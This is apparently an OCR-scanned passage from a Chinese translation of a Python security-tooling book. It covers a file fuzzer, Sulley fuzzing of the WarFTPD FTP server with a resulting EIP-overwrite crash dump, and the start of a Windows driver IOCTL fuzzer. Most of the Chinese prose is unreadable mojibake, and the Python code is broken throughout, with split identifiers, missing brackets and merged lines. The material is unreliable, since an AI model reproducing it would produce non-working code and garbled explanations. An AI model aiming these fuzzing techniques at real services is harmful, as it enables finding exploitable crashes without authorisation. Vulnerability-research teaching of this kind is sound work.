session.sendmail(sender, recipients, crash message)



session.quit()

return

TATELAH T LEGE B, REBINAK SN fuzz T, ERAIERIES S DK
HER . 55—, i self running B O824 7T A A — NI BREFEAESAAT B U7 1) 33 1 ) 4k
B PP BOA FEAL R B . 58 0, BATCRERDE R RSO, AN mEL, A ms
TR JA SEHL -

— BRI, B0, BATHEE —MRRLRE, R AR, IR L imEE e
WP RSB AR A T, AN AT S EE N 5E — D REM, A HARERE A B2,
MR ARSI %, FEIHK PID, PP, Gl R, BiRE—BEF UG
FACHIRKIREF . MR QI RIh LUG, BATIEINGHAR S, RIFIAZER, i —
X fuzz K58, ARBET —IR fuzz. BUAELEIRATHE N — N1 5 AT bR 4L

#file_fuzzer.py

def mutate file( self ):
# Pull the contents of the file into a buffer
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()
# The fuzzing meat and potatoes, really simple
# Take a random test case and apply it to a random position
# in the file
test_case = self.test cases[random.randint(0,len(self.test cases)-1)]
stream_length = len(stream)
rand offset = =random.randint(0, stream length - 1)
rand_len = random.randint(1, 1000)
# Now take the test case and repeat it
test case =test case * rand len
# Apply it to the buffer, we are just
# splicing in our fuzz data
fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file +=stream[rand offset:]
# Write out the file
fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )
fd.close()

return

KA — AN FER AT R Ao FRATTAN A A I 9] i R A B — 5 AR (R B B AR 3R
B AN SO RS AN 75 ZE BN R fuzz B O RE . HIAZAS A B2 A B A BT I fuzz $odis,



B Ja R IR GG H s 7 s AEHPINN fuzz Bds. — V15U, FEHTAE RO SO o6 R Sk ST
o BHENUERAERETT G H — Rl 7o BIE LRI I G AT AL B2

#file_fuzzer.py

def print_usage():
print "[*]"
print "[*] file fuzzer.py -e <Executable Path> -x <File Extension>"
print "[*]"
sys.exit(0)
if name ==" main "
print "[*] Generic File Fuzzer."
# This is the path to the document parser
# and the filename extension to use
try:
opts, argo = getopt.getopt(sys.argv[1:],"e:x:n"
except getopt.GetoptError:
print_usage()
exe path = None
ext = None
notify = False

for 0,a in opts:
ifo=="-"
exe path=a
elif o =="-x":
ext=a
elifo=="-n":
notify = True
if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe path, ext, notify )
fuzzer.fuzz()
else:

print_usage()

BAETRATN file_fuzzerpy MACAERBEHIBIMAITSE T . e hn &R T E fuzz 1)
HARREF AT . -x TR FRATT 75 2 T MK SO 3 e 44 289 axe i i BH 3R AT T 22
FHSCARSCAAE DA . -n 3£ 0155 UF fuzzer J& 5 B IGE A

BN fuzzer B 7575, 2R K B ARTE T U WS HHR R TE 45 R 7 fuzz
SCARSCAF B, H Windows 0 S A BIFAE N T BUORIRRERS BL#E 1 E B — IR EL
PE A1k, LR Satd gmiags A kxS b TR G EIRE . fE/E3) file fuzzerpy A Z
B, w5 BAEHA 28T H 3 NP4 H 3% examples 1 crashes - SR 5 7E examples H % N A7



LA BAtxt 45 RS, B A T ar 2 8 S A
python file fuzzer.py -e C:\\WINDOWS\\system32\\notepad.exe -x .txt

BEE AR Z, IREEE BRI (S0 . R AR 2 A M s Ua . ARt AT
LA FH XA file fuzzer MR AIFRF T -

8.3 uH /R Fuzzer

BRBANTCLEE T — fuzzer, 1 HRERBHSERMCEZIINE, THREKRT—
L bug. (HRAEBEERKBIERKRK.

8.3.1 Code Coverage

Code coverage +&=—/NMEE, B HARERF SR+, 47 7 K%, Fuzzing
L5 Charlie Miller it ZI0IEH, F B bug L2 Code coverage MK ALIELL .
BAVELUERAWE ! B BT IER R, EAR fuzz B ARFEF IR, (8RR 28 78 H hr it iz
RS R B E RN, RS FE IR G 2 fuzz BARHERE, MRS E] bug M
W R R, RS FE E O fuzz AR . 6 H E 214 H Code coverage 5 2% K1
T ARAT D EA TR AR IR file fuzzer,

8.3.2 Automated Static Analysis

38 3 % 3k ) SO A4 3E 4T Automated Static Analysis( H s AL I ERAS 8T, REWS 5 B
bughunter 5 SRR H HARRIS IS5 5. BRERTE 5 HAS IR (a0 strepy), - H IR
HPATERE, SHREFMAR . EHRZ A, O ERER N 0 NP5 DUERAE, 20
A BE PR IR, 5. X HRHET TRREZ, 3 bug MV R0,

FX LT R IR BV 1) fuzzer, 2R KBRS IRATS G 0 TAEREE . AT
fuzzer [IHEY 2 AR F EEE), ELUSABIIhaed kb, R B4 RAICERT i 1 1
IR, A2 2 A BMERS . 32 T RIERATE B — 2T Python 1) fuzzing HEZE (Pedram Amini

,Aaron Portnoy of TippingPoint). Z J&HATZIRANAEEI—A fuzzer 1F i ioctlizer, HT
B T VO FEHIURS 1) Windows JXEl IR T -
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SULLEY

Sulley % “F K AR T HL 5 (Monsters), —SkBRIMIE CRXY). T HAEEFE 21 Sulley
WA—ANEY, 5 KFET Python ) fuzzing HEZLF Y (FEIX BALIRATESBA]: Pedram
Amini A1 Aaron Portnoy of TippingPoint). Sulley AMYAL & —A™ fuzzer; & ibA #4875
ks, BB AR (VMWare automation). 7E fuzzing Fid FE AR AT ATEAT BB Z1,
FLA 2 HAREE T I R g, AT S SRR 7 BT — %1, 48434k bug Z K. In short, Sulley is
badass.

Sulley 1 SPIKE (—#KE & P fuzzing TH, MRTRRTH) —HEH 7 HdE
A, TR RS ER AR, AR —RRRCRE RGN ERATE B4R
TH fuzzing FiAR, TEAE R EE AT, VRDAZUER XS PR 803 A2 S s, e s— A4l
A RSHIAESE, HEZE BURSPTREVEAMALS T (BE SRR D A7 B, iR, i
FHREGR, &4 a2 355 A8 o L E IR e A 3 45 1 5T Pl
MAXEIAESE, FHT fuzzing. IXIHA R FHE R H R T RN L fuzz BTHTE
B 2001, MG, —REBANFBREAKEIESR, WA IE P 1
7 HARKREE, MEASEKEILR, BRS e, maREKEids, asiires
IR, XFEAE fuzzing BB, BURMEFRRH bug 1. - THAHERNE 51 57 40 B Lo 50 Hn
PR OC R, ARA s BE AR, AR BEE A

PR RBATS VR U Sully, MBI . S PUs M 1 f# Sulley 4% protocol
description (PRSHHIR) BRI HEF TR —MLE, fuzzing HELE, BHIE, DL
IR I SE R fuzzer. FATT fuzzing 1) HARELZ WarFTPD, S HARRA ARG H o I3k
fuzzer 9 WIERHZ, HARFAKETRE, WRERERE—AN, UBHIRE fuzzer A
18, WA AR BRI, BVl 2 M o IR IR TR PR MR, a0 FRARIE A A 77
Al LLE & Pedram Al Aaron 5 [ Sulley manual. 4 1, ihFRA148%E,

9.1 %% Sulley

fERATIR N R Sulley 2 A1, B —k, K. KRFET LN
http://www.nostarch.com/ghpython.htm "~ #{ zip T €11 Sulley ¥/, (FAbTHERE, 52
B E], http://sulley.googlecode.com i 7).

TEGERUE, fi#H Sulley, 7EH 3 N3] sulley, utils F1 requests
AESE, SR A E HF] C:\Python25\Lib\site-packages\ H 3% T . iX L85k /& Sulley fJ#Z 0. 2 FK
2 R FAPMII S A o

E—A WinPcap, — &K HVRFIEE RSN ZZE, H T+ windows P& T I, A



PRI [R5, XX AR PR ZE AR KR T, #URBERNEEEE TN, RUHg0m
R . Winpeap #) 2 FINH 585 F ML TH, NREEMARS. Sulley fi H & e M4
. FEHihl: http://www.winpcap.org/install/bin/WinPcap 4 0 2.exe.

BTN R 222 WA python FE: pecapy 1 impacket,, F1_LJH ) WinPcap FERC & . BEATESH
CORE Security #2fit. Pcapy & WinPcap ff] Python #% 1, impacket U] £ 57 €0 [ A i A 61 2 .
peap [ N &bt http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe.

mpacket [] T #Z#3E http://oss.coresecurity.com/repo/Impacket-stable.zip. | %X 5¢ i fift & 2
C:\ directory,i# N\ H FHATLL F fir 4
C:\Impacket-stable\Impacket-0.9.6.0>C:\Python25\python.exe setup.py install

— Vs, FAEY!

9.2 Sulley primitives

FERATF AT EERT B ARSI FHT, L1568 LIFFTA 1) building blocks (FZEHL), XLk
B 57 72 AR WSO S IR - Sulley #2438t 7 BT 75 B9 A I EAE M 20, S 3RATT G0 2 T
34 ] protocol descriptions FEAE 7 AFF] o 1% £ B EHE AR U primitives (JFIE) . FRATE
fi] 6 i — L& fuzz WarFTPD B i 2 F 2 1Y primitives. — EARPEME T anfa) f H L op— A
primitives, AN FHRES 1.

9.2.1 Strings

A B (Strings) 2 f# FH 5 £ 1Y) primitives. BIACHE F4MF 5 P4, ip bk, HRXES%.
s_string()48 4 R IS INHEM R B 5 1) primitives /& — AN fuzz I F R . s string) R —4
SR A R TR, TG E R IESERAN . tian, R fuzzing —> email Huhk:

s_string("justin@immunityinc.com")

Sulley 218 justin@immunityinc.com 2{F—MEXE, RIEHATEMEY, 5% H
R . ibRATEE email HibEA R 7 A A8

justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA

justin@%n%n%n%n%n%n.com
%d%d%d@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA

9.2.2 Delimiters

Delimiters(=€ F+7), F T KB F4F 8 20 F RGeS 2 5 8 B0 R B I8 2 HISE AT Y email
LB, s delim(OfiE 2 BEW IS E 0 B RE £ 1 fuzz FA7H .



s_string("justin")

s _delim("@")
s_string("immunityinc")
s_delim(".",fuzzable=False)
s_string("com"

it s delim(), FRATE email Hibik 7 pl 17 JLASF 8, FFHEVF Sulley, FATLE fuzzing
FIRHEAE T A, EREESEH@ -

9.2.3 Static and Random Primitives

s_staticOM! s_random(), B4 8L, B — ML ANREEE AR, 5 AMELHIEFEHLK
.

s_static("Hello,world!")
s_static("\x41\x41\x41")

s_random() 1] LABE L= A A5 HdE
s _random("Justin",min_length=6, max_length=256, num_mutations=10)
min_length 1 max_length % Sully 8% J& I %H F K VEH, num_mutations 24 A i

SR, RARTIEHIIREL, BRIAH 25 K.
FERATE T, A " Justin™E NVEEEE, 433 10 IR, 794 6-256 DM KIERIERT.

9.2.4 Binary Data

Binary Data( — 3 il £ 48 ) 2 £ Kon b (5 4 ) o Sullyey JL-F-Be b3 pir A — k1)
P o FRATTHE AL HE — R B L 1 B L B, ARV R ARE B RSS2 el [B] 8 FRAT]
A AR IR EE A T Y
B, IXEHE s binary() #tAEEHH T
s_binary("0x00 \\x41\\x42\\x43 0d 0a 0d 0a")

Sully BETRA T A X R EE, RIA G el E T4/ B

9.2.5 Integers



Integers(ZEE0) 1IN H TCAEATE, BEE B9 UL HTBH SCEAR, BIE A WL —HEdl i, BAK
BRI, Kb, %5,
R 9-1 FIH T Sulley SCFpI) B LRh#EE R A,

1 byte —s_byte(), s _char()

2 bytes —s_word(), s_short()

4 bytes —s_dword(), s_long(), s_int()
8 bytes —s_qword(), s_double()

Listing 9-1: Sulley 7 #8527

FTAT 1) B 38 S0 LA E5 B (3% 10 . endian T 26 7R BEB0K U 4 RE R TR RAZ T HY
K Fe /N~ (<) AR K- )R 1 BRINULT- /N « format T0 AN T 1H , ascii 1 binary;
RFEECHE T . 28007, B ARE — A ASCH #%30 Foni& 1, FH binary R
WZ\X31 . signed Tt BEEUE A 775 IR TS0, EAETHATE format $5 724 ascii
Ja R, ERINMELF Falseo fJia — M BBATIETUZ full range, B FHXAMEDILLE, Sulley #t
SAE— MBI (130 Bl N ACZS TT RE R A(E . 2807, SR FRAT AR N B EUR — AN RS 1
R, 4 full range ¥ B A True, X Sulley it 2 1R 2 A8 IR A (Bl 5l 8 i
KAE, B BT /M), 55 e K AE A 65535, Sulley B2 iR % 1 ] 65534, 65535, 65536
ZHHATIR . full range BRIAN False, PRINATACZ$ I TR R K. BE T HIH T

s_word(0x1234, endian=">", fuzzable=False)
s_dword(0xDEADBEEF, format="ascii", signed=True)

%44\1§U¥’ ?‘ZA[]&ET*/I\ 2 ?dﬁl‘j(d\ E@{E 0x1234, ﬁﬂ’{%%ﬂ?ﬁﬁﬁﬁﬁkj{ﬁﬂuﬁ,
[ B N —ANEASAE . 28 M7, FRATRE T —A 4 715 (F) K/MHIME 0xDEADBEEF,
FHBEENER S HEEE, Ll ASCI JE AR .

9.2.6 Blocks and Groups

Blocks(¥t)Groups(41) /& Sulley 24158 K 1L Z T B . Blocks ¥ ALY primitives 2H 2%
AN F . Groups WAL T —LEHFE 1) primitives, — > Group F1—™ Block &5
J5i,» BEIR fuzzer W Block IH i, #8208 Group H B TEIA KT ELE, 2H A A ) Blocko

R ME B fuzzing HTTP 417

# import all of Sulley's functionality.

from sulley import *

# this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html HTTP/1.1
# define a new block named "HTTP BASIC".

s_initialize("HTTP BASIC")

# define a group primitive listing the various HTTP verbs we wish to fuzz.



s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# define a new block named "body" and associate with the above group.
if s _block start("body", group="verbs"):
# break the remainder of the HTTP request into individual primitives.
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s _delim(".")
s_string("1")
# end the request with the mandatory static sequence.
s_static("\r\n\r\n")
# close the open block, the name argument is optional here.
s_block end("body")

FEF— UG FRATH E LT — Y verbs B4, HAPAE T A HTTP iEREH. 2 5%
T —ANY body HIH, FH AN verbs YR E . XEMZE, LAS Sulley FX I H body N )48
TEE R i, #<IEF FI 3R IU(GET, HEAD, POST, TRACE)S Flig =k 7, XFfE—K, —
K body W IARTEHAR 4T 724 5 AR body.

FIHATAIE, BANCAE PSS 1 Sulley FIZERIFTIH . 2498 Sulley MU AN, &4 %
Pffns, IR, KEHNCEES. HRANF I MFEZE LG Pedram 5 [ Fuzzing:
Brute Force Vulnerability Discovery (Addison-Wesley, 2007), — A %4 T Sulley Al fuzzing A
KEAREFF . A5 WarFTPD FF 1o FRATESL A1 H 20 primitive ££ 5, A5
K eAMES AT M REZE N .

9.3 %% WarFTPD

ERMEL 2L T WM Sulley primitives £l & protocol description(Fr3 ) 2 J5 .
PLER LA RPGRIRTF 7o XK HARwk & WarFTPD 1.65. [ # Hi7E USER Fl PASS fiy
L5 b, TGS K EHE, et R o X PRIRIRAR SR, H B ) R T S5
o R B m o, fE N AN F M case B A & o N
ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe | #F2 ¥ . 1&
M H R T 2 )5, BEEIEAT warftpd.exe BiRE o 8l FTP fk%s 1. 7E48H Sulley 155 H3X
Y2 AT, 1RIRATISE 1T FTP Bl TAEAE .

9.3.1 FTP 101



FTP & — AN]SR 1) SO S, 4 2 A T & MR sgrh, AN Web k5545 2
WIEZEFTENHL. FTP RSS2 BN 1 21 BT P i Rk 4. IUAEFRAT 1 E 78 % FTP
B, AR SS A RIE AR T I B A A, SRS IR S5 AR AR o 0 SRARIR) 58 R T
WarFTPD [ fuzzer, % T & XS HBNMEI%EE.

—A FTP AR 5% 28 BE 7T DA B RS 75 BB 1) B 44 U 1) s 75 L 35 A PR DA IE V17
29 WarFTPD ()il Hi /£ USER A1 PASS fir 4 b, At CAERAT 1AM & MR 45 X A A UE U7 ] « FTP
WE A 2 s 2 R

USER <USERNAME>
PASS <PASSWORD>

—BHE AN THRE P ARSI E, RS ST &b, Ao, sel
%, B SCHESFR . 2448 USER Al PASS it 4 HJ& FTP IR 45 242 (L ThRg Hh i —
T, EVERINEIREIRZ 5 MINRE, WK 9-2. X LEH i dr 2B EMA BN A TR 1
WAHEZE (protocol skeleton)F . FTP PRl LNy 4, 15 & rfc959.

CWD <DIRECTORY> - change working directory to DIRECTORY
DELE <FILENAME> - delete a remote file FILENAME

MDTM <FILENAME> - return last modified time for file FILENAME
MKD <DIRECTORY> - create directory DIRECTORY

Listing 9-2:FRMTEHi5} fuzz (1] FTP fir 4

IR BIRAG VR, (IS K TSR, DR LERATIZ) FHEE 1S K protocol

description

9.3.2 A FTP piHELS

VLB, 2 DAEUHI I !

#ftp.py

from sulley import *
s _initialize("user"
s_static("USER")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_string("justin")
s_static("\r\n")



s_initialize("cwd")
s_static("CWD")
s_delim(" ")
s_string("c: "
s_static("\r\n")
s_initialize("dele")
s_static("DELE")
s_delim(" ")
s_string("c:\\test.txt")
s_static("\r\n")
s_initialize("mdtm")
s_static("MDTM")
s_delim(" ")
s_string("C:\\boot.ini")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ")
s_string("C:\TESTDIR")
s_static("\r\n")

protocol skeleton 58 %2 J&, EFATIFMEEIE Sulley &1, FEATA ERE BIELK,
[N J5 230 D) 8% MELAR R 25 2 it 1 3

93.3  Sulley &1

Sulley i % T REERE &, MAHHR RO, AR, #BRE, MENL
e SEibIATE L— D21, RGN 2 Hr s

#ftp_session.py
from sulley import *
from requests import ftp # this is our ftp.py file def receive ftp banner(sock):
sock.recv(1024) sess = sessions.session(session_filename="audits/warftpd.sess target
= sessions.target("192.168.244.133", 21) target.netmon = pedrpc.client("192.168.244.133",
26001) target.procmon = pedrpc.client("192.168.244.133", 26002)
target.procmon_options = { "proc_name" : "war-ftpd.exe" }
# Here we tie in the receive_ftp banner function which receives
# a socket.socket() object from Sulley as its only parameter
sess.pre_send = receive ftp banner sess.add_target(target) sess.connect(s_get("user"))
sess.connect(s_get("user"), s_get("pass"))
sess.connect(s_get("pass"), s_get("cwd"))



sess.connect(s_get("pass"), s_get("dele"))
sess.connect(s_get("pass"), s_get("mdtm"))
sess.connect(s_get("pass"), s_get("mkd"))
sess.fuzz()

receive ftp banner()/& 2520, KNEEAS FTP RS #1E% F imiE e LI, #Ra ki
banner(txiR). FRATES E A sess.pre_send ZFE ALK, XAE Sulley K i% fuzzing FUHE F HIHS %
B2 e FTP banner. Al receive ftp banner —#£, pre send 1 R4 —/NH Sulley £33 K
sock Xf Gt. H— DAV — il S, HTIEF AT fuzzer FPRES, [R5 fuzzing
(3 A 1. B8 3 Bt ) B bR, G0 4E 1P MR G 15 . 3X AR B AL 192.168.244.133
Ui 1 21 (X ZRAVZ4T WarFTPD BHRIHLK IP). 5B =20, BB MR 5 14 26001,
IP HubibFl FTP AR 4528 b hE—#F, XA o DA T48252 Sulley KR4 . VU0, WEINH
A M i 11 26002, X AN H T #3205 Sulley & H R AT 2. procmon_options 1% Tl
HRR B AT E R R 2 war-fipd.exe. F/NE, TESIEHIMANE IFHHRN R 56
L, B FTP ke A P AL . JeRIE, RJER T & 7 Z 1 %0 B &
B J5 JA 8 Sulley JF46 fuzzing

BAETA e L T 206, AT TilERIES. HBE TG HAYRE 7. HiX—
DIER 56 By iz, 3t ml LS 32 3RATTB A8 T

934 PGB IRIE

Sulley HIMI 5 2 — il /& RE AR 8 IF IR BR IR fuzz W B AC B, LA H bR RS s
Bo IXBETRA T BEAE 5 — I 1a] N 23 B H BT H AR i B AL, SRS PR T K Y exploits

7E Sulley H 3 H % F A LL#KF] process monitor.py Fl network monitor.py P /MHIAS, i
153 47 o7 P9 2% W 3 gk R I 4% o

python process_monitor.py
Output:
ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin class to
[-p|--proc_name NAME] process name to search for and attach to
[-i]--ignore_pid PID] ignore this PID when searching for the
target process
[-1]--log_level LEVEL] log level (default 1), increase for more
verbosity
[--port PORT] TCP port to bind this agent to

wnh a SR

python process_monitor.py -¢c C:\warftpd.crash -p war-ftpd.exe



S A O A B E 7 BRI 26002, BT EAAH-p &

$ T K& & network_monitor.py. fEIXZ Hl 75 E %23 LN E: WinPcap 4.0,
mpacket.

python network monitor.py

Output:

ERR> USAGE: network monitor.py
<-d|--device DEVICE #> device to sniff on (see list below)
[-f]--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH] log directory to store pcaps to
[-1]--log_level LEVEL] log level (default 1), increase for more verbosity
[--port PORT] TCP port to bind this agent to

Network Device List:
[0] \Device\NPF _GenericDialupAdapter

[1] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133

X BRAVTFEAE M L. W R R3S
python network monitor.py -d 1 -f "src or dst port 21" -P C:\pcaps\
Peor: R LA C:\peaps H K.

—UIsgs, RS E.

9.3.5  fuzzing 1 Web 5[

BAERATEZ) Sulley, FFAEH N B Web SR EEEA fuzz 1T F2.
python ftp_session.py
Frdian

07:42.47
07:42.47
07:42.47
07:42.47

[ current fuzz path: ->user
[

[

[
[07:42.49

[

[

[

fuzzed 0 of 6726 total cases
fuzzing 1 of 1121

xmitting: [1.1]

fuzzing 2 of 1121

xmitting: [1.2]

fuzzing 3 of 1121

xmitting: [1.3]

07:42.49
07:42.50
07:42.50

[y sy W W S N W

pcapy,



I SR X RE, BB VI IER . Sulley IEEZEATH TAEE . MAELLRNIEE web
S, EoRMEZER,
FH 28 4T IF http://127.0.0.1:26000, FE FI25LLE] 9-1 145

Sulley Fuzz Control RUNNING

Resume

Captured Bytes

Figure 9-1: Sulley [¥] web %1

AN R RIGET 0 58 28 5 e B 24 AT fuzzing BUERE, DLSIEFEAE Y primitive. W11 9-1
YR 2% B IETE fuzzing ] primitive #& user, XN FERI, TEAAZEHSE R WA
9-2 [ B R

Sulley Fuzz Control RUNNING

Resume

Captured Bytes

Figure 9-2: Sulley web 51 &K HRE S

R, MZBAER I BRATE LRI Crash T WarFTPD, Sulley 423 7 Fi A #5%
5o FRATE 2PN B 4R B AR AN RE S g 0x5c5c5¢5e XMtk 0x5c
5 ASCIL 45\, XR2HTHENINTREZ, B 7AW AFAXIR, BEIXZmE EIP. 4
AR 22U g% EIP $a 7] 1AL B IR, sl R, BRI2A 0xSc5c5c5e A& — AN R He
hbe XEWRILATCLREOG4EH] EIP 1, 4T RS K exploit 1! #zhm? mmy, wJ
KR IRAZ AT ATE IR . A E TR ORI I, FRATH Sulley B TAE T O AR
RZ& T, KT fuzzing %F G0 R ZAKEH 7 P84T 7. Good Luck!

PUAE s il test case AT, BB BITEAHIAIIE . 13K 9-3

PyDbg fi i (5 S k% 3AE 60 LI U7 B W AL ERAR 7 A MR U . SR R E
Eo

[INVALID]:5¢5c5¢5¢ Unable to disassemble at Sc5c5c5c from thread 252

caused access violation



when attempting to read from 0x5c5c5c5c¢

CONTEXT DUMP
EIP: 5c5¢5¢5¢ Unable to disassemble at Sc5¢5¢5c¢
EAX: 00000001 ( 1) ->N/A
EBX: 5429358 (1598722904) -> N/A
ECX: 00000001 ( 1) ->N/A
EDX: 00000000 ( 0) ->N/A
EDI: 00000111 ( 273) > N/A

ESI: 00826410 ( 9069808) -> PC (heap)
EBP: 00a6fb9c ( 10943388) -> BXJ 'CD@U=@_@N=@_@NsA_@NOGrA_@N*A 0 C@
CtN]_@_ 0 _C@N (stack)
ESP: 00a6tb44 ( 10943300) => ,,,,,.555550955,  CHEr User from
192.168.244.128 logged out (stack)
+00: 5¢5¢5¢5¢ (741092396) -> N/A
+04: 5¢5¢5¢5¢ (741092396) -> N/A
+08: 5¢5¢5¢5¢ (741092396) -> N/A
+0c: 5c5¢5¢5¢ (741092396) -> N/A
+10: 20205¢5¢ ( 538979372) -> N/A
+14: 72746e63 (1920233059) -> N/A
disasm around:
0x5c5c5¢5¢ Unable to disassemble
stack unwind:
war-ftpd.exe:0042e6fa
MFC42.DLL:5f403d0e
MFC42.DLL:5f417247
MFC42.DLL:5f412adb
MFC42.DLL:5f401bfd
MFC42.DLL:5f401blc
MFC42.DLL:5f401a96
MFC42.DLL:5f401a20
MFC42.DLL:5f4019ca
USER32.d11:77d48709
USER32.d11:77d487¢b
USER32.d11:77d489a5
USER32.d11:77d4bccc
MFC42.DLL:5f40116f
SEH unwind:
00a6fct4 -> war-ftpd.exe:0042e38c mov eax,0x43e548
00a6fd84 -> MFC42.DLL:5f41ccfa mov eax,0x5f4be868
00a6fdcc -~ MFC42.DLL:5f41¢cc85 mov eax,0x5f4be6c0
00a6fe5c -> MFC42.DLL:5f41cc4d mov eax,0x5f4be3d8
00a6febc -> USER32.d11:77d70494 push ebp
00a6ff74 -> USER32.d11:77d70494 push ebp
00a6ffad4 -> MFC42.DLL:5f424364 mov eax,0x5f4c23b0



00a6ffdc -> MSVCRT.dIl:77¢35¢94 push ebp
Tttt -> kernel32.d11:7¢839913 push ebp

Listing 9-3:#437 WXAF F=AERBRE R

Sulley )32 FH L PHIF SRR 1o 2RI B SR H AP i — & 73, IR IR Z AP,
EANFEY, ACEVT, W BEEEL e, primitives I ETEAL I, 554, A5
LAR, Sulley AFRE— K a4 EEY), M2 BATT bug-hunging N RAIE: . AEFAT I 158 &
TIEREIRSS ) fuzz LUE, $FRIRILAT fuzz ML Windows T HVEKANFERE, X RIRATH B
ST A,



10

Fuzzing Windows LX3J]

%t-T- hacker 3K, Bt Windows IREHFEF O 2 AN FHAH,
MET, ISR H e S, T a4 WS IR E R L R T
A HRA  AE R TE FAT1/5E F Sulley % 1 T WarFTPD [ 3%5 H 7.

WarFTPD 7E LS EH— 2R E8), BAMEEREREZE, MaRE—1
Z BRI, X AR — B2 AR/, AT, IR 245 B ToVEIREL, 1R 2 R85 #05 [AS
T o WRXEHMERAVIHAE — N AHIKEN ) exploit, ASHLRERIGAURIE TR R AT, you are
god now!

IKAHEN LB Nz AT, MmN FER B NET, A TEPREE R [T
H, #tEAFH I0CTLs C(input/output controls ). 4 IOCTLs AFRAHL A in) @I IF 5, FRATTEE
REFIH BRI R SR

IOk, BATE BN T W iEid 28 IOCTLs SRAAHL P B4 3 TR, IF H 22K
{8/ Immunity Z8/% IOCTLs ##5. 285, 28 Immunity $2 4L driverlib FE3REUIKS) (5
B AR —AN G B4 (3K S SO P e o B s A RE . W 4, A1 IOCTL ARG, B
Ja A drivelib 3845 (1) £ 44 @2 R 2, 18 ioctlizer (K5 1—/NIKEN fuzzer) 47—k

driver fuzz.

10.1  IKFE[F

JUFEEANE Windows EVEM T ARSI PP — N A4 A — AP S k. TP Bt
HIRE 7 RE WS JE 1L 75 5 BERR SRS IXEh (0 A0, AR5 I AN RN SR S AT IR R« B AR el B
T

HANDLE WINAPI CreateFileW(
LPCTSTR IpFileName,
DWORD  dwDesiredAccess,
DWORD  dwShareMode,
LPSECURITY_ ATTRIBUTES IpSecurityAttribute
DWORD  dwCreationDisposition,
DWORD  dwFlagsAndAttributes,
HANDLE hTemplateFile



BN, HE A EE ALY, XRIES BRI A5 1% . dwDesiredAccess
FoRvia 73 e S (TR S, ] A A S ), GENERIC_READ (0x80000000)
#, GENERIC WRITE (0x40000000)5 . dwShareMode iX ¥ & i 0, F/R7E CreateFileW
R [E 3 B2 4z oe A T RN Z G, A REVT %% . IpSecurityAttributes £ B i NULL, FRorff
BN 2R, JFHARM 74 K. dwCreationDisposition 2 4 % & %
OPEN_EXISTING (0x3), TR E/AFIEHITH, HREWREE R, &aHAS 805
FL) % B % NULL .

2 CreateFileW IR Bl —ANH AW 2 5, AT E1E H DeviceloControl ( H
kernel32.dll FH) f£i#—/> IOCTL 4% % -

BOOL WINAPI DeviceloControl(
HANDLE hDevice,
DWORD dwloControlCode,
LPVOID IpInBuffer,
DWORD nInBufferSize,
LPVOID IpOutBuffer,
DWORD nOutBufferSize,
LPDWORD IpBytesReturned,
LPOVERLAPPED IpOverlapped

B —/NZHH CreateFileW iR [5] {) f]#4 . dwloControlCode #& B A% i 45 ¥ %% Ja 2 1
IOCTL 4. XIS HE 1 AR Pt A ThEE . 230 IpInBuffer 457 [ — 21X, £
TR EAL S IR R o IX AN G P X R FRAT i 1 AR AR B T, fuzz HORISAEE X,
nInBufferSize AAEi% 25 WX 122 7 X 1) K /N . IpOutBuffer A1 IpOutBufferSize, FHj#E 45
B—F, AidEHTEWERER B EdE . IpBytesReturned AKX 5 SEFRIR [B] 50 1K
B a— NS H R L) W E R NULL

PAEXT T IRBNAZ B, REROEAFEA T, N R B IATE Immunity, & Hook
¥ DeviceloControl %A J5 2 TN X N 4, B¢ fuzzing every driver.

10.2 F Immunity fuzzing IXzj)

FATTH EAEH Immunity 58 K TIRE, HE8(F DeviceloControl pREL, 7EEHE 2L H
FRIRBN 2 R/, #EREAT, XA Driver Fuzzing A G —IIRF], & 5T POk —
5| TAES H H 3k PyCommand, RATH EWEEAESE Immunity 5E8&— P T/E: #3K
DeviceloControl, LM X E#s, KA IAZE, BRI RS HARET . BT LLEEXT
AT LT, RPN fuzzing # 2 51 RGFFE, 110 5% AT LATE L (38 J5 A 35t
N 2% R E R

fen R EAE A CRIPLE LT SREG . BRARRE B S BOR B, R, RaE



PRSI A 5, Meig RO/, BRATIETT DURE A REAUML, AR e MRS AE S L i 2 41T
EAGRIREE, AN AT A A

a5, Hri— Python A ioctl fuzzer.py.

#ioctl_fuzzer.py
import struct
import random
from immlib import *
class ioctl_hook( LogBpHook ):
def init (self):
self.imm = Debugger()
self.logfile = "C:\ioctl log.txt"
LogBpHook. init ('self)
def run( self, regs ):
We use the following offsets from the ESP register
to trap the arguments to DeviceloControl:
ESP+4 -> hDevice
ESP+8 -> loControlCode
ESP+C -> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+1C -> pBytesReturned
ESP+20 -> pOverlapped
in_buf=""
# read the IOCTL code ioctl code = self.imm.readLong( regs['ESP'] + 8 )
# read out the InBufferSize inbuffer size = self.imm.readLong( regs['ESP'] + 0x10 )
# now we find the buffer in memory to mutate inbuffer ptr
self.imm.readLong( regs['ESP'] + 0xC)

# grab the original buffer

in_buffer = self.imm.readMemory( inbuffer ptr, inbuffer size ) mutated_buffer
self. mutate( inbuffer size )

# write the mutated buffer into memory self.imm.writeMemory( inbuffer ptr,
mutated_buffer )

# save the test case to file

self.save test case( ioctl code, inbuffer size, in_buffer,
mutated_buffer )

def mutate( self, inbuffer_size ):



counter =0

mutated_buffer =""

# We are simply going to mutate the buffer with random bytes
while counter < inbuffer size:
